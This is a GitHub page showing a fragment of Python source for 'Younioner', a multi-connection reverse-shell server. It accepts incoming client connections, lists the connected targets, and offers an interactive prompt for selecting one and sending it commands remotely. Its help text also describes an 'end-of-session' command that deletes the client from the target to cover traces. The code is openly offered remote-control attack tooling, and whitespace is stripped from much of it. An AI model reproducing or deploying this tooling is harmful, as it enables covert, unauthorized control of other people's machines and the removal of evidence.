You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
print('Created by Ayoub Ouakkaha, please visit our website www.ouakkaha.com')
print('\ncontact us at contact@ouakkaha.com, type help to display available commands.')
# listen for one connection :)
self.s.listen(self.max_client)
excepterrorase:
print("** Oops Something went wrong error code ", e)
time.sleep(5) # wait for 5s and try again
self.open_socket()
# accept incoming connection
defaccept_connection(self):
forcinself.all_connection: # close the connection list
c.close()
delself.all_connection[:] # clean connection list
delself.all_addresses[:] # clean addresses list
whileTrue:
try:
conn, address=self.s.accept()
conn.setblocking(1)
self.all_connection.append(conn)
self.all_addresses.append(address)
print("\n* new Connection has been established from {} on {}".format(address[0], address[1]))
print("\nYounioner> ", end="")
excepterrorase:
print("something went wrong while accepting new connection\n error code: {} \n".format(str(e)))
# Interactive shell for sending command remotely
defstart_younioner(self):
whileTrue:
cmd=str(input("Younioner> "))
cmd=cmd.lower()
cmd_stripped=cmd.strip()
ifcmd.strip() =='list':
self.list_connections()
continue
elifcmd.strip() =="help":
self.displayHelp()
elifcmd_stripped.startswith("select"): # check command start with `select` word
conn=self.get_target(cmd)
ifconnisnotNone:
self.send_commands(conn)
elifcmd_stripped=="quit":
self.exit()
else:
print("{} Command not recognized..".format(cmd))
# Display the help menu
defdisplayHelp(self):
"""Display The help menu"""
help="\nthis section will help to understand the basic commands: " \
"\n\nlist............ It will list availabel connection..Usage(just type : `list`)"\
"\n\nselect.......... used to select a connection to target.. the target number needs be availabel on list section Usage(select 1) or change the number 1 to the target ID"\
"\n\nquit............ used to close the current connection .. or if you don't have one it will close the script"\
"\n\nhelp............ as you might guess, it will print the help Menu, which you're looking to now.:)"\
"\n\nend-of-session.. this is really advance command..this command will delet your trace from the target command, for example it will delet the current running script on the target command which is(Client) "\
"\n\nIf you liked Our app and you want to help us for providing more and more.. please contact us at contact@ouakkaha.com or visit my site www.ouakkaha.com\nanyway thanks for using my app, be sure to have a greate day :)"
print(help)
# Exit Reverse Shell
defexit(self):
forcinself.all_connection:
try:
c.send(str.encode("end-of-session"))
c.shutdown(2)
c.close()
exceptExceptionase:
print('Could not close connection '+str(e))
self.s.close()
print("\n Good By, please have a nice day :) ")
# this will be over need but believe me, some times the module refuse to exit..
# this is why i try each of this method cause at the end one of theme should work..
os._exit(0)
sys.exit()
quit(0)
exit(0)
# this will display all current connection
deflist_connections(self):
rs=''
fori, conninenumerate(self.all_connection): # Enumerate will count number of loop
try: # we will test if conn are working..
conn.send(str.encode(' ')) # send blank to test if conn is working.,
conn.recv(20240)
except: # this will ocure if conn is null
delself.all_connection[i]
delself.all_addresses[i]
continue# go to next loop do not execut the next line..